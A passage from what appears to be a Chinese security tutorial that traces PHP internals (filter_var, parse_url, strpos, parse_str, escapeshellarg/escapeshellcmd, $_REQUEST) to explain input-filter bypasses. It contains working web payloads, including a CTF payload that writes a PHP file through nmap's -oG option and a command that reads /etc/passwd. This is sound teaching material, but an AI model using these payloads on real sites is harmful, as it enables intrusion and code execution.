这些都能够通过filter_var，既然如此看似不合法的url都能通过，这里还是从源码进行分析:
PHP_FUNCTION(filter_var)
{
zend_long filter = FILTER_DEFAULT;
zval *filter_args = NULL, *data;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "z|lz", &data, &filter, &filter_args) == FAILURE) {
return;
}
if (!PHP_FILTER_ID_EXISTS(filter)) {
RETURN_FALSE;
}
ZVAL_DUP(return_value, data);
php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR);
}
前面是对参数进行处理，这里直接看到
`php_filter_call`,其调用情况:
static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args, const int copy, zend_long filter_flags) /* {{{ */
{ ...
php_zval_filter(filtered, filter, filter_flags, options, charset, copy);
...
}
static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options, char* charset, zend_bool copy) /* {{{ */
{
filter_list_entry filter_func;
filter_func = php_find_filter(filter);
if (!filter_func.id) {
/* Find default filter */
filter_func = php_find_filter(FILTER_DEFAULT);
}
/* #49274, fatal error with object without a toString method
Fails nicely instead of getting a recovarable fatal error. */
if (Z_TYPE_P(value) == IS_OBJECT) {
zend_class_entry *ce;
ce = Z_OBJCE_P(value);
if (!ce->__tostring) {
zval_ptr_dtor(value);
/* #67167: doesn't return null on failure for objects */
if (flags & FILTER_NULL_ON_FAILURE) {
ZVAL_NULL(value);
} else {
ZVAL_FALSE(value);
}
goto handle_default;
}
}
/* Here be strings */
convert_to_string(value);
filter_func.function(value, flags, options, charset);
handle_default:
if (options && Z_TYPE_P(options) == IS_ARRAY &&
((flags & FILTER_NULL_ON_FAILURE && Z_TYPE_P(value) == IS_NULL) ||
(!(flags & FILTER_NULL_ON_FAILURE) && Z_TYPE_P(value) == IS_FALSE))) {
zval *tmp;
if ((tmp = zend_hash_str_find(Z_ARRVAL_P(options), "default", sizeof("default") - 1)) != NULL) {
ZVAL_COPY(value, tmp);
}
}
}
/* }}} */
根据filter来寻找过滤的函数，将value转化成字符串后调用寻找到的过滤函数来进行处理，URL过滤器对应的函数：
//ext/filter/logical_filters.c
void php_filter_validate_url(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */
{
php_url *url;
size_t old_len = Z_STRLEN_P(value);
...
/* Use parse_url - if it returns false, we return NULL */
url = php_url_parse_ex(Z_STRVAL_P(value), Z_STRLEN_P(value));
if (url == NULL) {
RETURN_VALIDATION_FAILED
}
if (url->scheme != NULL &&
(zend_string_equals_literal_ci(url->scheme, "http") || zend_string_equals_literal_ci(url->scheme, "https"))) {
char *e, *s, *t;
size_t l;
if (url->host == NULL) {
goto bad_url;
}
s = ZSTR_VAL(url->host);
l = ZSTR_LEN(url->host);
e = s + l;
t = e - 1;
/* An IPv6 enclosed by square brackets is a valid hostname */
if (*s == '[' && *t == ']' && _php_filter_validate_ipv6((s + 1), l - 2)) {
php_url_free(url);
return;
}
// Validate domain
if (!_php_filter_validate_domain(ZSTR_VAL(url->host), l, FILTER_FLAG_HOSTNAME)) {
php_url_free(url);
RETURN_VALIDATION_FAILED
}
}
if (
url->scheme == NULL ||
/* some schemas allow the host to be empty */
(url->host == NULL && (strcmp(ZSTR_VAL(url->scheme), "mailto") && strcmp(ZSTR_VAL(url->scheme), "news") && strcmp(ZSTR_VAL(url->scheme), "file"))) ||
((flags & FILTER_FLAG_PATH_REQUIRED) && url->path == NULL) || ((flags & FILTER_FLAG_QUERY_REQUIRED) && url->query == NULL)
) {
bad_url:
php_url_free(url);
RETURN_VALIDATION_FAILED
}
php_url_free(url);
}
这里还对Ipv6地址进行了判断，以及后面对域名的判断，我们重点还是看`php_url_parse_ex`函数:
if ((e = memchr(s, ':', length)) && e != s) {
/* validate scheme */
p = s;
while (p < e) {
/* scheme = 1*[ lowalpha | digit | "+" | "-" | "." ] */
if (!isalpha(*p) && !isdigit(*p) && *p != '+' && *p != '.' && *p != '-') {
if (e + 1 < ue && e < s + strcspn(s, "?#")) {
goto parse_port;
} else if (s + 1 < ue && *s == '/' && *(s + 1) == '/') { /* relative-scheme URL */
s += 2;
e = 0;
goto parse_host;
} else {
goto just_path;
}
}
p++;
}
if (e + 1 == ue) { /* only scheme is available */
ret->scheme = estrndup(s, (e - s));
php_replace_controlchars_ex(ret->scheme, (e - s));
return ret;
}
/*
* certain schemas like mailto: and zlib: may not have any / after them
* this check ensures we support those.
*/
if (*(e+1) != '/') {
/* check if the data we get is a port this allows us to
* correctly parse things like a.com:80
*/
p = e + 1;
while (p < ue && isdigit(*p)) {
p++;
}
if ((p == ue || *p == '/') && (p - e) < 7) {
goto parse_port;
}
ret->scheme = estrndup(s, (e-s));
php_replace_controlchars_ex(ret->scheme, (e - s));
s = e + 1;
goto just_path;
} else {
ret->scheme = estrndup(s, (e-s));
php_replace_controlchars_ex(ret->scheme, (e - s));
if (e + 2 < ue && *(e + 2) == '/') {
s = e + 3;
if (!strncasecmp("file", ret->scheme, sizeof("file"))) {
if (e + 3 < ue && *(e + 3) == '/') {
/* support windows drive letters as in:
file:///c:/somedir/file.txt
*/
if (e + 5 < ue && *(e + 5) == ':') {
s = e + 4;
}
goto just_path;
}
}
} else {
s = e + 1;
goto just_path;
}
}
} else if (e) { /* no scheme; starts with colon: look for port */
### [+]php_url_parse_ex函数
这里直接引用 <https://www.cnblogs.com/hf99/p/9637354.html>
如果s中含有冒号则e指向冒号，且同时如果冒号不在s的开头，p指向s
当p不指向冒号向循环，p指向下一位
如果p指向的值是字母或者数字或者是+,-,.则指针指向下一位，这就代表冒号前面的值其实是任意的字母、数字、+、-、.
如果冒号所在位置小于str，且?#在冒号后面(如果有的话)，就跳转到port解析部分
如果str的长度大于1且str的前两个字符是//，s指向//后面的一个字符，e变为0，跳转到host解析
如果冒号是最后一位字符，则冒号前面的东西会当作scheme返回
如果冒号后面不是/，则p指向冒号后面一位
当p小于str且p指向的为数字字符，p一直指向后一位，直到p指向str末尾或者p指向的字符为/，同时冒号后面的数字位数小于6位，跳转到port解析
如果冒号后面不是纯数字或数字后面有一个/，那么冒号前面的内容就当作scheme，放在ret的scheme参数中，s指向冒号后一位，跳转到path解析
如果冒号后面是/，那么冒号前面的内容就当作scheme，放在ret的scheme参数中。如果下面一位也是/，那么s指向//后面一位，如果scheme为file，那么判断接下来一位是不是/，如果是，判断冒号后是否有五个字符，如果有那么第五个字符是不是冒号(为了处理file:///c:)，s指向///后的一位字符，跳转到path解析
如果冒号后面不是三个/，s指向冒号后面一位，之后跳转到path解析
如果冒号在str开头，那么进行port解析
因此只要是该url满足其要求，都能够通过filter_var的url过滤器，所以在这里强调其实一个非常弱的过滤器，其实在parse_url的处理中底层也使用了该函数，不过关于parse_url的函数缺陷，之后在进行分析，因此在此题中如果没有过滤data协议，完全可以使用data协议进行绕过，但是此时由于过滤`data://`，因此使用的是另外一个协议`compress.zlib`
> 该函数对压缩流进行读取
可以在官方示例中看到，能够将流进行读取，因此`compress.zlib`同样读取能够data协议流，因此我们构造`$url =
"compress.zlib://data:[@baidu](https://github.com/baidu
"@baidu").com/;base64,aGVsbG8=";`即可进行绕过
根据上述内容也就解释了为什么形如`xx://xx;google.com`也能通过parse_url，因为在底层处理中，完全没有涉及`分号;`的对应处理，在解析时也只是将其视为一个简单的字符串，但如果是http或者是https协议则会进行`_php_filter_validate_domain`处理，导致无法使用该种形式进行绕过
### 理解libcurl和parse_url解析时的区别
借[blackhat](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)上的这张图进行说明:
可以看到curl和parse_url对于解析host的相对位置是不同的，在PHP中`parse_url`倾向于解析较后面，其实在源码中有着相应的答案：
//e是字符串的结尾
/* check for login and password */
if ((p = zend_memrchr(s, '@', (e-s)))) {
if ((pp = memchr(s, ':', (p-s)))) {
ret->user = zend_string_init(s, (pp-s), 0);
php_replace_controlchars_ex(ZSTR_VAL(ret->user), ZSTR_LEN(ret->user));
pp++;
ret->pass = zend_string_init(pp, (p-pp), 0);
php_replace_controlchars_ex(ZSTR_VAL(ret->pass), ZSTR_LEN(ret->pass));
} else {
ret->user = zend_string_init(s, (p-s), 0);
php_replace_controlchars_ex(ZSTR_VAL(ret->user), ZSTR_LEN(ret->user));
}
s = p + 1;
}
看到这一段，对于user和password的解析过程，先对整个字符串判断是否出现@，并将指针指向p，如果有则判断@前面是否出现冒号，如果有则指向pp,将冒号前的字符串赋值给`$ret->user`，就是user，将冒号后一直到@符号前的字符串赋值给`$ret->pass`,否则若是字符串没有出现冒号，则将@符号前面的整个字符串赋值为`$ret->user`，这一段的关键在于如何定位@符号，也就是`zend_memrchr`函数是如何实现的？
可以很明显的知道，该函数的搜索过程是自后向前的，因此他会从最后一个匹配@的字符串进行返回，因此在parse_url中，host匹配最后一个@后面符合格式的host
来看一下curl中对url的处理，在`ext/curl/interface.c`中`php_curl_option_url`函数的处理涉及到对url的处理，跟进看下：
static int php_curl_option_url(php_curl *ch, const char *url, const size_t len) /* {{{ */
{
/* Disable file:// if open_basedir are used */
if (PG(open_basedir) && *PG(open_basedir)) {
#if LIBCURL_VERSION_NUM >= 0x071304
curl_easy_setopt(ch->cp, CURLOPT_PROTOCOLS, CURLPROTO_ALL & ~CURLPROTO_FILE);
#else
php_url *uri;
if (!(uri = php_url_parse_ex(url, len))) {
php_error_docref(NULL, E_WARNING, "Invalid URL '%s'", url);
return FAILURE;
}
if (uri->scheme && zend_string_equals_literal_ci(uri->scheme, "file")) {
php_error_docref(NULL, E_WARNING, "Protocol 'file' disabled in cURL");
php_url_free(uri);
return FAILURE;
}
php_url_free(uri);
#endif
发现这里居然调用的是`php_url_parse_ex`，那不是和`parse_url`调用的一个底层函数，但是我们仔细看，`php_url_parse_ex`这个函数在这里的作用就是解析这个url使用了什么协议,再根据解析出来的协议`$uri->scheme`对比是否是file协议,真正调用过程中对url的解析处理在libcurl中，因为phpcurl也相当于是调用libcurl的动态链接库，不过貌似很早已经被修复了，因此到这里不在继续，能够从源码角度了解parse_url解析时，host匹配的是最后一个@后面符合格式的host就行
## [+]strpos函数利用
一般在匹配某段输入中存在黑名单中的关键词，可能会使用strpos进行比较，该函数是用来查找字符串首次出现的位置，下面贴一下其函数原型:
> strpos — 查找字符串首次出现的位置
> 作用：主要是用来查找字符在字符串中首次出现的位置。
> 结构：int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
<?php
class Login{
private $format;
public function __construct($user,$pass)
{
$this->format =
<<<XML
<login>
<user v='%s' ></user>
<pass v='%s' ></pass>
</login>
XML;
$this->loginViaXml($user,$pass);
}
public function loginViaXml($user,$pass)
{
if(
!strpos($user,'<') || !strpos($user,'>') &&
!strpos($pass,'<') || !strpos($pass,'>')
)
{
$xml = sprintf($this->format,$user,$pass);
$this->login($xml);
}else{
die("no");
}
}
function login($xmld)
{
print_r($xmld);
}
}
new Login('user','pass');
这里的业务是通过格式化字符串的方式，使用xml结构存储用户的登录信息，并且判断`$user`或者`$pass`不能含有尖括号以避免注入，但是使用这种方式真的可以防止注入吗？
我们可以构造`new Login("<'> </user> \n<evil-tag></evil-tag>\n //",'pass');`
成功进行了注入，但是在我们的输入中是存在尖括号，为何strpos会失效呢？
strpos函数返回查找到的子字符串的下标。 **如果字符串开头就是我们要搜索的目标，则返回下标0;如果搜索不到,则返回false**
这里没有对`strpos`有深刻的理解，导致在这里直接将结果进行取反,而我们知道`false`和`0`取反后的效果是等价的，均为真，因此这里针对尖括号的过滤是有权限的，但事实上并非`strpos`的缺陷，只是在使用时存在缺陷导致了绕过，因此如果用`strpos`来判断字符串中是否存在某个字符时必须使用`===false`
下面简单分析`strpos`底层的实现:
PHP_FUNCTION(strpos)
{
zval *needle;
zend_string *haystack;
const char *found = NULL;
char needle_char[2];
zend_long offset = 0;
ZEND_PARSE_PARAMETERS_START(2, 3)
Z_PARAM_STR(haystack)
Z_PARAM_ZVAL(needle)
Z_PARAM_OPTIONAL
Z_PARAM_LONG(offset)
ZEND_PARSE_PARAMETERS_END();
if (offset < 0) {
offset += (zend_long)ZSTR_LEN(haystack);
}
if (offset < 0 || (size_t)offset > ZSTR_LEN(haystack)) {
php_error_docref(NULL, E_WARNING, "Offset not contained in string");
RETURN_FALSE;
}
if (Z_TYPE_P(needle) == IS_STRING) {
if (!Z_STRLEN_P(needle)) {
php_error_docref(NULL, E_WARNING, "Empty needle");
RETURN_FALSE;
}
found = (char*)php_memnstr(ZSTR_VAL(haystack) + offset,
Z_STRVAL_P(needle),
Z_STRLEN_P(needle),
ZSTR_VAL(haystack) + ZSTR_LEN(haystack));
} else {
if (php_needle_char(needle, needle_char) != SUCCESS) {
RETURN_FALSE;
}
needle_char[1] = 0;
php_error_docref(NULL, E_DEPRECATED,
"Non-string needles will be interpreted as strings in the future. " \
"Use an explicit chr() call to preserve the current behavior");
found = (char*)php_memnstr(ZSTR_VAL(haystack) + offset,
needle_char,
1,
ZSTR_VAL(haystack) + ZSTR_LEN(haystack));
}
if (found) {
RETURN_LONG(found - ZSTR_VAL(haystack));
} else {
RETURN_FALSE;
}
}
其中第三个参数`offset`指从字符串的第几位开始，默认是0，主要是调用`php_memnstr`进行搜素匹配，其为函数`zend_memnstr`的宏定义:
static inline const char * zend_memnstr(const char *haystack /*目标符串*/,
const char *needle/*预查找字符串*/, int needle_len, char *end){
const char *p = haystack;//目标字符串首指针
const char ne = needle[needle_len-1];//预查找字符串的最后一个字符
if(needle_len == 1){//所查找的字符串是一个字符,则使用系统函数memchr
return (char *)memchr(p, *needle, (end-p));
}
if(needle_len > end-haystack){//所查找的字符串比目标字符串还长,则无需查找,直接返回找不着
return NULL;
}
end -= needle_len;//其实只要查找到end-neele_len位置就可以了
while(p<end){//从头指针一字符一字符地找
//如果头字符和尾字符同时匹配,则用memcmp比较是否已经找到
if((p = (char *)memchr(p, *needle, (end-p+1))) && ne == p[needle_len-1]){
if(!memcmp(needle, p, needle_len-1)){
return p;
}
}
if(p == NULL){//如果连头一个字符都没找着,则停止查找最合适
return NULL;
}
p++;//头指针向后移动一下
}
return NULL;//到尾了还没找着,则返回NULL
}
也是比较容易理解，此处理解`strpos`在未匹配到时返回False，在第一个位置匹配到将会返回0，并且正确使用`strpos`即可
## [+]parse_str函数的利用
先来看一下官方文档对于该函数的原型介绍:
> 功能 ：parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
> 定义 ：void parse_str( string `$encoded_string` [, array &$result ] )
> 如果 encoded_string 是 URL 传入的查询字符串（query string），则将它解析为变量并设置到当前作用域（如果提供了
> result 则会设置到该数组里 ）。
> 8.0.0 result 是必须项。
> 7.2.0 不带第二个参数的情况下使用 parse_str() 会产生 **E_DEPRECATED 警告**
也就是说，该函数将字符串赋值式中的字符串解析为变量，值为该变量的值，并且不会检验变量是否已经存在，如果存在也会将其覆盖，变量覆盖的相关漏洞也很常见了，这里不再谈论变量覆盖的利用问题，而是先从底层开始分析，再看从底层能够发掘出什么样的问题,注意从PHP7.2开始不使用第二个参数会出现警告，但是不影响程序执行
PHP_FUNCTION(parse_str)
{
char *arg;
zval *arrayArg = NULL;
char *res = NULL;
size_t arglen;
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STRING(arg, arglen)
Z_PARAM_OPTIONAL
Z_PARAM_ZVAL(arrayArg)
ZEND_PARSE_PARAMETERS_END();
res = estrndup(arg, arglen);
if (arrayArg == NULL) {
zval tmp;
zend_array *symbol_table;
if (zend_forbid_dynamic_call("parse_str() with a single argument") == FAILURE) {
efree(res);
return;
}
php_error_docref(NULL, E_DEPRECATED, "Calling parse_str() without the result argument is deprecated");
symbol_table = zend_rebuild_symbol_table();
ZVAL_ARR(&tmp, symbol_table);
sapi_module.treat_data(PARSE_STRING, res, &tmp);
if (UNEXPECTED(zend_hash_del(symbol_table, ZSTR_KNOWN(ZEND_STR_THIS)) == SUCCESS)) {
zend_throw_error(NULL, "Cannot re-assign $this");
}
} else {
arrayArg = zend_try_array_init(arrayArg);
if (!arrayArg) {
efree(res);
return;
}
sapi_module.treat_data(PARSE_STRING, res, arrayArg);
}
}
/* }}} */
在这里可以发现，无论是有没有第二个参数，最终都是调用`sapi_module.treat_data处理数据`,而在PHP中`$_GET、$_COOKIE、$_SERVER、$_ENV、$_FILES、$_REQUEST`这六个变量都是通过如下的调用序列进行初始化。
[main() -> php_request_startup() -> php_hash_environment() ]
在请求初始化时，通过调用 php_hash_environment
函数初始化以上的六个预定义的变量。如下所示为`php_hash_environment函数`的部分代码（考虑到篇幅问题）
...
for (p=PG(variables_order); p && *p; p++) {
switch(*p) {
case 'p':
case 'P':
if (!_gpc_flags[0] && !SG(headers_sent) && SG(request_info).request_method && !strcasecmp(SG(request_info).request_method, "POST")) {
sapi_module.treat_data(PARSE_POST, NULL, NULL TSRMLS_CC); /* POST Data */
_gpc_flags[0] = 1;
if (PG(register_globals)) {
php_autoglobal_merge(&EG(symbol_table), Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_POST]) TSRMLS_CC);
}
}
break;
case 'c':
case 'C':
if (!_gpc_flags[1]) {
sapi_module.treat_data(PARSE_COOKIE, NULL, NULL TSRMLS_CC); /* Cookie Data */
_gpc_flags[1] = 1;
if (PG(register_globals)) {
php_autoglobal_merge(&EG(symbol_table), Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_COOKIE]) TSRMLS_CC);
}
}
break;
case 'g':
case 'G':
if (!_gpc_flags[2]) {
sapi_module.treat_data(PARSE_GET, NULL, NULL TSRMLS_CC); /* GET Data */
_gpc_flags[2] = 1;
if (PG(register_globals)) {
php_autoglobal_merge(&EG(symbol_table), Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_GET]) TSRMLS_CC);
}
}
break;
...
可以看到，在`$_POST,$_GET`等变量的解析中，同样是调用`sapi_module.treat_data`进行数据的处理，treat_data是属于sapi_module_struct中的一个成员，定位到`main/php_variables.c`
if (arg == PARSE_GET) { /* GET data */
c_var = SG(request_info).query_string;
if (c_var && *c_var) {
res = (char *) estrdup(c_var);
free_buffer = 1;
} else {
free_buffer = 0;
}
} else if (arg == PARSE_COOKIE) { /* Cookie data */
c_var = SG(request_info).cookie_data;
if (c_var && *c_var) {
res = (char *) estrdup(c_var);
free_buffer = 1;
} else {
free_buffer = 0;
}
} else if (arg == PARSE_STRING) { /* String data */
res = str;
free_buffer = 1;
}
if (!res) {
return;
}
可以看到对于GET型的处理是第一种，而对于`parse_str`也就是`PARSE_STRING`是第三种，继续向下跟进:
var = php_strtok_r(res, separator, &strtok_buf);
...
while (var) {
val = strchr(var, '=');
if (arg == PARSE_COOKIE) {
/* Remove leading spaces from cookie names,
needed for multi-cookie header where ; can be followed by a space */
while (isspace(*var)) {
var++;
}
if (var == val || *var == '\0') {
goto next_cookie;
}
}
if (val) { /* have a value */
int val_len;
unsigned int new_val_len;
*val++ = '\0';
php_url_decode(var, strlen(var));//先进行urldecode
val_len = php_url_decode(val, strlen(val));
val = estrndup(val, val_len);
if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len TSRMLS_CC)) {
php_register_variable_safe(var, val, new_val_len, array_ptr TSRMLS_CC);
}
efree(val);
} else {
...
通过`php_strtok_r`把res根据”&”分割”key=value”段, 接下来分别为var和val复制为key和value,
经过调试在`php_register_variable_safe`中会调用`main/php_variables.c`的`php_register_variable_ex`函数
会对变量的`空格、点`变成下划线，而当解析变量中出现形如`a[b`中会将`is_array=1`
进入到`is_array`后的处理，我们根据注释以及代码也可以发现:
并且在此之前前文代码中已经提到，会先对传入变量进行urldecode处理，因此总结起来为:
PHP需要将所有参数转换为有效的变量名，在解析查询字符串时，它会做两件事：
* 删除空白符
* 将某些字符(点、括号、空格等)转换为下划线（包括空格）
因此我们基于此可以将填充数据后最终解析成相同变量的所有不同填充形式的数据都进行fuzz,这里贴下已有的脚本
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :)
like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩｀-´)⊃━☆ﾟ.*･｡ﾟ
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
得到如下数据都能解析成相同变量:
## [+]escapeshellcmd/escapeshellarg函数利用
我们知道命令注入是很常见的一个问题，原因就是开发者对于用户的输入没有进行过滤而直接拼接到语句中进行执行，因此在PHP中提供了若干对输入进行过滤的函数以避免命令注入，这里最常见的便是`escapeshellcmd`和`escapeshellarg`
这里先将两者的函数原型贴一下:
**escapeshellarg**
> escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
> 功能 ：escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号，这样以确保能够直接将一个字符串传入
> shell 函数，shell 函数包含 exec()，system() 执行运算符(反引号)
> 定义 ：string escapeshellarg ( string $arg )
**escapeshellcmd**
> escapeshellcmd — shell 元字符转义
> escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()
> 或 system() 函数，或者 执行操作符 之前进行转义。
> 反斜线（\）会在以下字符之前插入： &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在
> Windows 平台上，所有这些字符以及 % 和 ! 字符都会被空格代替。
而两者的功能有着一定的差别:
**escapeshellarg**
* 1.确保用户只传递一个参数给命令
* 2.用户不能指定更多的参数
* 3.用户不能执行不同的命令
**escapeshellcmd**
* 1.确保用户只执行一个命令
* 2.用户可以指定更多的参数
* 3.用户不能执行更多的命令
来看一下escapeshellarg/escapeshellcmd的输出
<?php
//$file = "sth -or -exec cat /etc/passwd ; -quit";
//system("find /tmp -iname ".escapeshellcmd($file));
$arg = "1 ' or '1=1";
echo escapeshellarg($arg);
// Output: /etc/passwd
// Output: '1 '\'' or '\''1=1'
?>
`escapeshellcmd`允许执行多个参数意味着如果该可执行程序中本身就有能够执行命令或者读取文件的参数，最典型的例子就是`find`，示例如上，`escapeshellarg`的处理是如果字符串中出现了`'`则先将其转义后，再将每一部分用单引号括起来，但是这里如果将`escapeshellarg`和`escapeshellcmd`混用将会导致参数的注入.
这里我们借助`BUUCTF 2018 Online Tool`这个题来分析这两个函数的源码以及利用的过程:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
可以看到这里使用`escapeshellarg`和`escapeshellcmd`对`$host`进行过滤后拼接到了`nmap`语句中，这样两重过滤应该显得更严格，但是事实并非如此，`namp`中有一个参数-oG可以实现将命令和结果写到文件，所以我们可以控制自己的输入写入文件。但是如何进行绕过上面两个函数的过滤呢？
我们先来看看payload:
?host=' <?php phpinfo();?> -oG exp.php '
为何加入单引号后能够绕过，不是对单引号进行转义了吗？
在`exec.c`中`escapeshellarg`调用了`php_escape_shell_arg`函数对输入进行处理，跟进查看:
/* {{{ php_escape_shell_arg
*/
PHPAPI zend_string *php_escape_shell_arg(char *str)
{
size_t x, y = 0;
size_t l = strlen(str);
zend_string *cmd;
uint64_t estimate = (4 * (uint64_t)l) + 3;
/* max command line length - two single quotes - \0 byte length */
if (l > cmd_max_len - 2 - 1) {
php_error_docref(NULL, E_ERROR, "Argument exceeds the allowed length of %zu bytes", cmd_max_len);
return ZSTR_EMPTY_ALLOC();
}
cmd = zend_string_safe_alloc(4, l, 2, 0); /* worst case */
ZSTR_VAL(cmd)[y++] = '\'';
for (x = 0; x < l; x++) {
//这一段是5.2.6新加的，就是在处理多字节符号的时候，当多字节字符小于0的时候不处理，大于1的时候跳过，等于1的时候执行过滤动作
int mb_len = php_mblen(str + x, (l - x));
/* skip non-valid multibyte characters */
if (mb_len < 0) {
continue;
} else if (mb_len > 1) {
memcpy(ZSTR_VAL(cmd) + y, str + x, mb_len);
y += mb_len;
x += mb_len - 1;
continue;
}
switch (str[x]) {
case '\'':
ZSTR_VAL(cmd)[y++] = '\'';
ZSTR_VAL(cmd)[y++] = '\\';
ZSTR_VAL(cmd)[y++] = '\'';
#endif
/* fall-through */
default:
ZSTR_VAL(cmd)[y++] = str[x];
}
}
ZSTR_VAL(cmd)[y++] = '\'';
#endif
ZSTR_VAL(cmd)[y] = '\0';
if (y > cmd_max_len + 1) {
php_error_docref(NULL, E_ERROR, "Escaped argument exceeds the allowed length of %zu bytes", cmd_max_len);
zend_string_release_ex(cmd, 0);
return ZSTR_EMPTY_ALLOC();
}
if ((estimate - y) > 4096) {
/* realloc if the estimate was way overill
* Arbitrary cutoff point of 4096 */
cmd = zend_string_truncate(cmd, y, 0);
}
ZSTR_LEN(cmd) = y;
return cmd;
}
可以很明显的看到，如果字符串中存在单引号`'`，则先在其前面一次填充单引号，斜杠，单引号，再将这个原本的单引号处理
`ZSTR_VAL(cmd)[y++] = str[x];`
而在未处理和循环完成后都进行了
ZSTR_VAL(cmd)[y++] = '\'';
因此总结起来就是首先将字符串用单引号包围，然后遇到单引号则在其前面加上单引号，反斜杠，单引号，各位有兴趣也可以自己验证一下看是否和源码一致
因此可以自己推导一遍exp经过escapeshellarg处理后的样子:
<?php
$arg = "' <?php phpinfo();?> -oG exp.php '";
echo escapeshellarg($arg);
/* Output: ''\'' <?php phpinfo();?> -oG exp.php '\''' */
?>
和输出是一样的，这样原来的exp经过过滤后变成了如上的形状，接着再经过`escapeshellcmd`的处理，同样在底层调用`php_escape_shell_cmd`函数，继续分析:
//篇幅原因这里选择关键处理步骤
...
#ifndef PHP_WIN32
case '"':
case '\'':
if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
/* noop */
} else if (p && *p == str[x]) {
p = NULL;
} else {
ZSTR_VAL(cmd)[y++] = '\\';
}
ZSTR_VAL(cmd)[y++] = str[x];
break;
#else
/* % is Windows specific for environmental variables, ^%PATH% will
output PATH while ^%PATH^% will not. escapeshellcmd->val will escape all % and !.
*/
case '%':
case '!':
case '"':
case '\'':
#endif
case '#': /* This is character-set independent */
case '&':
case ';':
case '`':
case '|':
case '*':
case '?':
case '~':
case '<':
case '>':
case '^':
case '(':
case ')':
case '[':
case ']':
case '{':
case '}':
case '$':
case '\\':
case '\x0A': /* excluding these two */
case '\xFF':
#ifdef PHP_WIN32
ZSTR_VAL(cmd)[y++] = '^';
#else
ZSTR_VAL(cmd)[y++] = '\\';
#endif
/* fall-through */
default:
ZSTR_VAL(cmd)[y++] = str[x];
}
}
...
可以看到，如果是有引号存在，会在该引号后面的字符串中寻找是否还出现引号，如果出现则不处理，但如果没有则会加入反斜杠进行转义，同时会判断
&#;`|*?~<>^()[]{}$\,\x0A和\xFF //如果出现则进行转义
因此经过escapeshellarg处理后在经过escapeshellcmd处理，最终会变成
''\\'' \<\?php phpinfo\(\)\;\?\> -oG exp.php '\\'''
此时在进行拼接，system函数传入为如下语句:
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php phpinfo\(\)\;\?\> -oG exp.php '\\'''
而在linux中是支持空白连接符的，并且\这里视为将反斜杠进行转义，linux解析时双反斜杠也不会影响其他语句的执行:
再将空白连接符去除进行简化得到
nmap -T5 -sT -Pn --host-timeout 2 -F \<\?php phpinfo\(\)\;\?\> -oG exp.php
最终进行写入，当然关于escapeshell和escapecmd混合使用的漏洞还有许多，有兴趣的大佬可以研究PHPmailer的两个CVE
`CVE-2016-10045和CVE-2016-10033`
## [+]深入理解$_REQUEST数组
关于`$_REQUEST`这个全局变量应该都不陌生，在官方文档中是如下描述的:
> $_REQUEST — HTTP Request 变量
> 默认情况下包含了`$_GET`,`$_POST`和`$_COOKIE`的数组。
其实官方文档的介绍中容易让人产生误解，我们来看这样一个简单的demo
//Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.
<?php
$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'
?>
也就是说虽然`$_REQUEST`默认情况下包含了`$_GET`,`$_POST`和`$_COOKIE`，但是对一方的处理完全不会影响另一方，这里如果我们想要对输入进行过滤，而代码是这样的
...
class foo{
public function filterParams(){
$_GET = array_map('addslashes',$_GET);
$_POST = array_map('addslashes',$_POST);
}
public function login(){
$this->filterParams();
$sql = "select * from users where username = $_REQUEST['user'] and password = $_REQUEST['pass']";
}
}
...
本意是想对输入全部进行转义，这样能够避免注入，但事实上对`$_GET`和`$_POST`的操作并不会影响`$_REQUEST`这个预定义变量，下面我们从内核角度来看`$_REQUEST`是如何实现的
其实在PHP中`$_GET、$_COOKIE、$_SERVER、$_ENV、$_FILES、$_REQUEST`这六个变量都是通过如下的调用序列进行初始化。
[main() -> php_request_startup() -> php_hash_environment() ]
在请求初始化时，通过调用 php_hash_environment 函数初始化以上的六个预定义的变量。
